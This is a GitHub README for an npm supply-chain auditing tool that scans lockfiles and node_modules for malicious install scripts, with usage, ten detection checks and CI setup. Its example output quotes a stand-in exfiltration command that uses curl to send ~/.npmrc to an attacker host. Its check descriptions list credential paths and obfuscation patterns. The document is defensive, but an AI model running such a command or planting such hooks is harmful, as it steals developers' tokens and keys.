Skip to content

TreRB/npm-postinstall-audit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

npm-postinstall-audit

Static analyzer for npm / pnpm / yarn lockfiles and node_modules trees. Flags suspicious preinstall / install / postinstall lifecycle scripts, which are the single biggest npm supply-chain attack vector in 2025-2026.

Every major npm supply-chain breach in the last two years used a postinstall script to exfil environment variables, npm tokens, SSH keys, or AWS credentials. This tool reads your lockfile and the installed node_modules and scores every package's install scripts against ten known-bad patterns.

Install

One-shot run against any repo:

npx github:TreRB/npm-postinstall-audit ./my-repo

Or install globally:

npm i -g npm-postinstall-audit
npm-postinstall-audit ./my-repo

No runtime dependencies. Node 18+.

Usage

Usage: npm-postinstall-audit <path> [options]

Arguments:
  path                   Repo root OR path to a specific lockfile (default: .)

Options:
  --checks <list>        Run only specific check IDs (e.g., NPA1,NPA3)
  --json                 Machine-readable JSON output
  --sarif                SARIF 2.1.0 output
  --fail-on <level>      Exit non-zero on severity >= level
  --ignore <name|glob>   Skip package by name or glob (repeatable)
  --published-after <f>  Path to JSON { "pkg@ver": "ISO-date" } for NPA10
  --now <iso>            Override current time for NPA10 testing
  --version              Print version and exit
  --help, -h             Show this help

Example output

NPM-POSTINSTALL-AUDIT  target: /home/tre/my-repo
  lockfile: npm  packages: 842  checks: 10

  Findings (3):

  [CRITICAL] NPA7  evil-stealer@1.0.0
              postinstall script reads ~/.npmrc
              Evidence: postinstall: curl -s https://atk.example/x -d "$(cat ~/.npmrc)"
              Fix: Rotate your npm token now: npm token revoke && npm token create.
  [HIGH    ] NPA2  evil-stealer@1.0.0
              postinstall script reaches network (curl to external URL)
              Evidence: postinstall: curl -s https://atk.example/x ...
  [HIGH    ] NPA9  lodassh@1.0.0
              "lodassh" is 1 edit(s) from popular package "lodash"

  Summary
    CRITICAL: 1
    HIGH:     2
    MEDIUM:   0
    LOW:      0
    INFO:     0

Checks

ID Title Severity
NPA1 Lifecycle install script present INFO
NPA2 Install script makes network call HIGH
NPA3 Install script reads process.env HIGH
NPA4 Install script touches ~/.ssh, ~/.aws, /etc CRITICAL
NPA5 Install script spawns child process, obfuscated args CRITICAL
NPA6 Install script embeds base64 blob > 80 chars HIGH
NPA7 Install script reads ~/.npmrc (token theft) CRITICAL
NPA8 Install script is minified or obfuscated HIGH
NPA9 Package name is typosquat of popular package HIGH / MEDIUM
NPA10 Newly-published package with install lifecycle CRITICAL

NPA1 - lifecycle script present

Reports every package that defines preinstall, install, or postinstall at any level. Informational by itself; meant to answer "how many packages in this tree can run code on me at install time".

NPA2 - network call at install time

curl, wget, fetch(), https.get(), axios, got, node-fetch, or needle invocations inside a lifecycle script. If any of them hits the network, a registry compromise or a single MITM gives RCE on every developer and CI runner that ever installed the package.

NPA3 - process.env read

Any process.env.*, printenv, env |, or os.environ access from a lifecycle script. Benign npm_config_*, npm_package_*, PATH, HOME, NODE_ENV, TMPDIR, PWD, SHELL references are stripped before matching.

NPA4 - sensitive-path access

Matches ~/.ssh, ~/.aws, /etc/passwd, /etc/shadow, ~/.gnupg, ~/.docker/config.json, ~/.kube/config, ~/.bash_history, and similar. No legitimate install script needs these paths.

NPA5 - child_process with obfuscated args

Fires when a lifecycle script both (a) uses child_process, execSync, spawnSync, exec, spawn, eval, or Function(...) and (b) contains an obfuscation signal (\xNN runs, \uNNNN runs, String.fromCharCode, Buffer.from(..., 'base64'), atob(...), or piped | bash / | sh / | node).

NPA6 - embedded base64 blob

Any contiguous base64 run of 80+ characters inside a lifecycle script. Short hashes and identifiers slip through; encoded payloads do not.

NPA7 - ~/.npmrc read

Any reference to ~/.npmrc, $HOME/.npmrc, os.homedir() + '/.npmrc', or the string _authToken. Stealing the user's npm token lets the attacker publish malware as the victim's identity, producing a worm.

NPA8 - minified / obfuscated script

Computes average line length and Shannon entropy on the script and on any JS file it node-invokes. Flags avgLineLen > 200 && entropy > 4.8 or entropy > 5.3. A hand-written postinstall script is short and low-entropy.

NPA9 - typosquat of a popular package

Computes Levenshtein distance from every package name to an embedded list of the top ~400 most-downloaded npm packages. Distance of 1 is HIGH; distance of 2 is MEDIUM. Names of 3 chars or fewer are skipped.

NPA10 - newly-published + lifecycle

The strongest single signal for a live supply-chain attack. Requires a publish-time feed supplied via --published-after <json-file>. JSON shape:

{
  "evil-stealer@1.0.0": "2026-04-20T06:00:00Z"
}

Any package in the tree that (a) has a lifecycle script and (b) has a publish timestamp within the last 48 hours is flagged CRITICAL. You can generate this feed from npm view <pkg> time --json or from the npm registry replication stream.

CI integration

GitHub Actions, fail the build on HIGH or CRITICAL findings:

name: supply-chain audit
on: [push, pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: "20"
      - run: npm ci --ignore-scripts
      - run: npx github:TreRB/npm-postinstall-audit . --fail-on high

Or upload SARIF to GitHub code scanning:

      - run: npx github:TreRB/npm-postinstall-audit . --sarif > results.sarif
      - uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: results.sarif

Adding a check

  1. Create src/checks/npa11_your_check.js exporting a default object:
export default {
  id: "NPA11",
  title: "short description",
  severity: "high",
  run({ packages }) {
    const out = [];
    for (const pkg of packages) {
      if (!pkg.scripts) continue;
      // ... your detection logic
      out.push({
        severity: "high",
        package: pkg.name,
        version: pkg.version,
        file: pkg.manifestPath,
        line: 1,
        title: "what tripped",
        evidence: "raw string",
        fix: "how to fix"
      });
    }
    return out;
  }
};
  1. Register it in src/checks/index.js.
  2. Add test/unit/npa11.test.js following the pattern of the others.

Programmatic use

import { scanRepo, renderJSON } from "npm-postinstall-audit";

const result = await scanRepo({ root: "./my-repo" });
console.log(renderJSON(result));

scanRepo(opts) returns { root, lockfile, findings, checks, packageCount }. findings is an array of { checkId, severity, package, version, file, line, title, evidence, fix }.

Limitations

  • Regex-based static matching. False positives exist on packages that legitimately compile native code at install. Use --ignore for known-good names (fsevents, node-gyp, node-sass, etc.).
  • Lockfiles alone don't carry scripts. Run this after npm ci --ignore-scripts / pnpm install --ignore-scripts / yarn install --mode=skip-build so the scripts are on disk but have not executed yet.
  • NPA10 needs external publish-time data. The tool does not hit the npm registry on its own.
  • Top-package list is embedded and fixed at release time. Re-install after npm's ranking shifts.

Disclaimer

You must have authorization to scan any repository you don't own. This tool reports possible anti-patterns; confirm impact before filing reports or taking remediation action.

License

MIT (c) 2026 Valtik Studios LLC

About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Packages

 
 
 

Contributors